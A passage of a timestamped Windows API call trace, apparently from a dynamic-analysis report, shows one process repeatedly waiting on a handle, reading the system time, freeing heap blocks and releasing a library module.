(_Block=0x196ef0d67b0) [0183.275] free (_Block=0x196ef0fc080) [0183.276] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e27f230, dwHighDateTime=0x1d9eb0c)) [0183.381] free (_Block=0x196ef0d1ba0) [0183.381] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.382] free (_Block=0x196ef0d67b0) [0183.382] free (_Block=0x196ef0fb950) [0183.382] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e2a525d, dwHighDateTime=0x1d9eb0c)) [0183.387] free (_Block=0x196ef0d1cc0) [0183.387] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.387] free (_Block=0x196ef0d67b0) [0183.387] free (_Block=0x196ef0fb4a0) [0183.388] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e2a525d, dwHighDateTime=0x1d9eb0c)) [0183.397] free (_Block=0x196ef0d19a0) [0183.397] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.397] free (_Block=0x196ef0d67b0) [0183.397] free (_Block=0x196ef0fb3b0) [0183.398] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e2cb5aa, dwHighDateTime=0x1d9eb0c)) [0183.402] free (_Block=0x196ef0d1a60) [0183.402] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.403] free (_Block=0x196ef0d67b0) [0183.403] free (_Block=0x196ef0fb400) [0183.403] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e2cb5aa, dwHighDateTime=0x1d9eb0c)) [0183.409] free (_Block=0x196ef0d20c0) [0183.409] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.409] free (_Block=0x196ef0d67b0) [0183.409] free (_Block=0x196ef0fbef0) [0183.410] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e2cb5aa, dwHighDateTime=0x1d9eb0c)) [0183.414] free (_Block=0x196ef0d1c00) [0183.414] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.415] free (_Block=0x196ef0d67b0) [0183.416] free (_Block=0x196ef0fc120) [0183.416] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e448d9c, dwHighDateTime=0x1d9eb0c)) [0183.559] free (_Block=0x196ef0d1d60) [0183.559] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.560] free (_Block=0x196ef0d67b0) [0183.561] free (_Block=0x196ef0fba40) [0183.561] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e448d9c, dwHighDateTime=0x1d9eb0c)) [0183.569] free (_Block=0x196ef0d20e0) [0183.569] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.569] free (_Block=0x196ef0d67b0) [0183.570] free (_Block=0x196ef0fbb30) [0183.570] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e46efec, dwHighDateTime=0x1d9eb0c)) [0183.582] free (_Block=0x196ef0d1cc0) [0183.582] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.582] free (_Block=0x196ef0d67b0) [0183.583] free (_Block=0x196ef0fb900) [0183.583] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e4e1702, dwHighDateTime=0x1d9eb0c)) [0183.624] free (_Block=0x196ef0d1b60) [0183.625] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.625] free (_Block=0x196ef0d67b0) [0183.626] free (_Block=0x196ef0fb950) [0183.627] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.627] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e8aff59, dwHighDateTime=0x1d9eb0c)) [0184.022] free (_Block=0x196ef0d1ca0) [0184.022] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.023] free (_Block=0x196ef0d67b0) [0184.023] free (_Block=0x196ef0fbe50) [0184.024] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e8c14c1, dwHighDateTime=0x1d9eb0c)) [0184.031] free (_Block=0x196ef0d1ca0) [0184.031] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.032] free (_Block=0x196ef0d67b0) [0184.033] free (_Block=0x196ef0fb450) [0184.033] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e8c14c1, dwHighDateTime=0x1d9eb0c)) [0184.041] free (_Block=0x196ef0d1ba0) [0184.042] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.043] free (_Block=0x196ef0d67b0) [0184.043] free (_Block=0x196ef0fc0d0) [0184.043] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ea8ba09, dwHighDateTime=0x1d9eb0c)) [0184.216] free (_Block=0x196ef0d1960) [0184.216] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.216] free (_Block=0x196ef0d67b0) [0184.217] free (_Block=0x196ef0fbe50) [0184.217] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ea8ba09, dwHighDateTime=0x1d9eb0c)) [0184.224] free (_Block=0x196ef0d1aa0) [0184.224] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.225] free (_Block=0x196ef0d67b0) [0184.226] free (_Block=0x196ef0fbb80) [0184.226] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4eab1716, dwHighDateTime=0x1d9eb0c)) [0184.233] free (_Block=0x196ef0d1960) [0184.233] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.233] free (_Block=0x196ef0d67b0) [0184.234] free (_Block=0x196ef0fb4f0) [0184.235] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4eab1716, dwHighDateTime=0x1d9eb0c)) [0184.244] free (_Block=0x196ef0d2020) [0184.244] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.245] free (_Block=0x196ef0d67b0) [0184.246] free (_Block=0x196ef0fc170) [0184.246] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ead80ad, dwHighDateTime=0x1d9eb0c)) [0184.254] free (_Block=0x196ef0d1c80) [0184.255] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.255] free (_Block=0x196ef0d67b0) [0184.256] free (_Block=0x196ef0fb770) [0184.256] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ebe2493, dwHighDateTime=0x1d9eb0c)) [0184.368] free (_Block=0x196ef0d1a20) [0184.368] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.369] free (_Block=0x196ef0d67b0) [0184.370] free (_Block=0x196ef0fbc20) [0184.370] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ec087b4, dwHighDateTime=0x1d9eb0c)) [0184.376] free (_Block=0x196ef0d2060) [0184.376] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.376] free (_Block=0x196ef0d67b0) [0184.377] free (_Block=0x196ef0fbf40) [0184.377] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ec087b4, dwHighDateTime=0x1d9eb0c)) [0184.382] free (_Block=0x196ef0d1de0) [0184.382] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.383] free (_Block=0x196ef0d67b0) [0184.384] free (_Block=0x196ef0fb900) [0184.384] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ec2ea40, dwHighDateTime=0x1d9eb0c)) [0184.394] free (_Block=0x196ef0d1f60) [0184.394] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.395] free (_Block=0x196ef0d67b0) [0184.395] free (_Block=0x196ef0fb9a0) [0184.396] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ec2ea40, dwHighDateTime=0x1d9eb0c)) [0184.401] free (_Block=0x196ef0d1d60) [0184.401] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.401] free (_Block=0x196ef0d67b0) [0184.402] free (_Block=0x196ef0fbbd0) [0184.402] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ec2ea40, dwHighDateTime=0x1d9eb0c)) [0184.408] free (_Block=0x196ef0d1ba0) [0184.408] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.409] free (_Block=0x196ef0d67b0) [0184.410] free (_Block=0x196ef0fb950) [0184.410] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4eced393, dwHighDateTime=0x1d9eb0c)) [0184.478] free (_Block=0x196ef0d2000) [0184.478] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.479] free (_Block=0x196ef0d67b0) [0184.525] free (_Block=0x196ef0fb270) [0184.525] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ed94d37, dwHighDateTime=0x1d9eb0c)) [0184.540] free (_Block=0x196ef0d1fc0) [0184.540] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.540] free (_Block=0x196ef0d67b0) [0184.541] free (_Block=0x196ef0fbef0) [0184.541] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4edac101, dwHighDateTime=0x1d9eb0c)) [0184.547] free (_Block=0x196ef0d1de0) [0184.547] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.547] free (_Block=0x196ef0d67b0) [0184.548] free (_Block=0x196ef0fba40) [0184.548] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4edd2ccd, dwHighDateTime=0x1d9eb0c)) [0184.563] free (_Block=0x196ef0d1d20) [0184.563] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.564] free (_Block=0x196ef0d67b0) [0184.565] free (_Block=0x196ef0fb6d0) [0184.565] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ef75b83, dwHighDateTime=0x1d9eb0c)) [0184.745] free (_Block=0x196ef0d1aa0) [0184.746] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.746] free (_Block=0x196ef0d67b0) [0184.747] free (_Block=0x196ef0fb8b0) [0184.747] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ef9c2a9, dwHighDateTime=0x1d9eb0c)) [0184.751] free (_Block=0x196ef0d1b40) [0184.752] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.752] free (_Block=0x196ef0d67b0) [0184.752] free (_Block=0x196ef0fb950) [0184.753] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4efc30ae, dwHighDateTime=0x1d9eb0c)) [0184.769] free (_Block=0x196ef0d1fe0) [0184.769] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.770] free (_Block=0x196ef0d67b0) [0184.771] free (_Block=0x196ef0fb220) [0184.771] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f18bb9a, dwHighDateTime=0x1d9eb0c)) [0184.952] free (_Block=0x196ef0d1c40) [0184.952] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.953] free (_Block=0x196ef0d67b0) [0184.953] free (_Block=0x196ef0fb8b0) [0184.953] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f18bb9a, dwHighDateTime=0x1d9eb0c)) [0184.963] free (_Block=0x196ef0d1a20) [0184.963] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.963] free (_Block=0x196ef0d67b0) [0184.964] free (_Block=0x196ef0fb900) [0184.964] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f1b1f72, dwHighDateTime=0x1d9eb0c)) [0184.969] free (_Block=0x196ef0d1aa0) [0184.969] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.969] free (_Block=0x196ef0d67b0) [0184.969] free (_Block=0x196ef0fb310) [0184.970] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f1b1f72, dwHighDateTime=0x1d9eb0c)) [0184.975] free (_Block=0x196ef0d1bc0) [0184.975] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.975] free (_Block=0x196ef0d67b0) [0184.976] free (_Block=0x196ef0fb860) [0184.976] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f1d83ef, dwHighDateTime=0x1d9eb0c)) [0184.981] free (_Block=0x196ef0d1da0) [0184.981] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.982] free (_Block=0x196ef0d67b0) [0184.982] free (_Block=0x196ef0fbc70) [0184.982] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f1d83ef, dwHighDateTime=0x1d9eb0c)) [0184.988] free (_Block=0x196ef0d1a20) [0184.988] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.988] free (_Block=0x196ef0d67b0) [0184.989] free (_Block=0x196ef0fb8b0) [0184.989] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0184.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f1d83ef, dwHighDateTime=0x1d9eb0c)) [0184.994] free (_Block=0x196ef0d1d20) [0184.994] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0184.994] free (_Block=0x196ef0d67b0) [0184.995] free (_Block=0x196ef0fb590) [0184.995] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f3559fb, dwHighDateTime=0x1d9eb0c)) [0185.148] free (_Block=0x196ef0d1a60) [0185.148] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.148] free (_Block=0x196ef0d67b0) [0185.149] free (_Block=0x196ef0fbc20) [0185.149] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f37bce1, dwHighDateTime=0x1d9eb0c)) [0185.156] free (_Block=0x196ef0d1f20) [0185.156] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.157] free (_Block=0x196ef0d67b0) [0185.157] free (_Block=0x196ef0fba40) [0185.157] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f37bce1, dwHighDateTime=0x1d9eb0c)) [0185.161] free (_Block=0x196ef0d1fa0) [0185.161] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.162] free (_Block=0x196ef0d67b0) [0185.162] free (_Block=0x196ef0fb950) [0185.162] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f37bce1, dwHighDateTime=0x1d9eb0c)) [0185.167] free (_Block=0x196ef0d1ca0) [0185.167] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.168] free (_Block=0x196ef0d67b0) [0185.168] free (_Block=0x196ef0fb680) [0185.168] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f3a1ecb, dwHighDateTime=0x1d9eb0c)) [0185.172] free (_Block=0x196ef0d1b00) [0185.173] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.173] free (_Block=0x196ef0d67b0) [0185.173] free (_Block=0x196ef0fb450) [0185.173] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f3a1ecb, dwHighDateTime=0x1d9eb0c)) [0185.181] free (_Block=0x196ef0d1d20) [0185.181] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.181] free (_Block=0x196ef0d67b0) [0185.182] free (_Block=0x196ef0fb450) [0185.182] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f3cee3e, dwHighDateTime=0x1d9eb0c)) [0185.187] free (_Block=0x196ef0d1cc0) [0185.187] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.187] free (_Block=0x196ef0d67b0) [0185.188] free (_Block=0x196ef0fb680) [0185.188] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f5458ae, dwHighDateTime=0x1d9eb0c)) [0185.348] free (_Block=0x196ef0d1960) [0185.348] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.349] free (_Block=0x196ef0d67b0) [0185.349] free (_Block=0x196ef0fb4a0) [0185.349] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f56bcbd, dwHighDateTime=0x1d9eb0c)) [0185.357] free (_Block=0x196ef0d1f60) [0185.357] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.357] free (_Block=0x196ef0d67b0) [0185.358] free (_Block=0x196ef0fbae0) [0185.358] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f56bcbd, dwHighDateTime=0x1d9eb0c)) [0185.364] free (_Block=0x196ef0d1960) [0185.364] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.364] free (_Block=0x196ef0d67b0) [0185.365] free (_Block=0x196ef0fb9a0) [0185.365] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f56bcbd, dwHighDateTime=0x1d9eb0c)) [0185.370] free (_Block=0x196ef0d1ba0) [0185.370] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.371] free (_Block=0x196ef0d67b0) [0185.371] free (_Block=0x196ef0fbc20) [0185.371] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f591d56, dwHighDateTime=0x1d9eb0c)) [0185.378] free (_Block=0x196ef0d1f20) [0185.378] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.379] free (_Block=0x196ef0d67b0) [0185.379] free (_Block=0x196ef0fbb30) [0185.379] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f5b9ec3, dwHighDateTime=0x1d9eb0c)) [0185.389] free (_Block=0x196ef0d1ca0) [0185.389] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.389] free (_Block=0x196ef0d67b0) [0185.390] free (_Block=0x196ef0fbd10) [0185.390] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f75b91c, dwHighDateTime=0x1d9eb0c)) [0185.572] free (_Block=0x196ef0d1980) [0185.572] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.573] free (_Block=0x196ef0d67b0) [0185.573] free (_Block=0x196ef0fc030) [0185.573] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f789bf7, dwHighDateTime=0x1d9eb0c)) [0185.578] free (_Block=0x196ef0d1a80) [0185.578] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.579] free (_Block=0x196ef0d67b0) [0185.579] free (_Block=0x196ef0fbc20) [0185.579] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4f789bf7, dwHighDateTime=0x1d9eb0c)) [0185.584] free (_Block=0x196ef0d1fc0) [0185.584] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0185.584] free (_Block=0x196ef0d67b0) [0185.584] free (_Block=0x196ef0fc120) [0185.585] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0185.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: 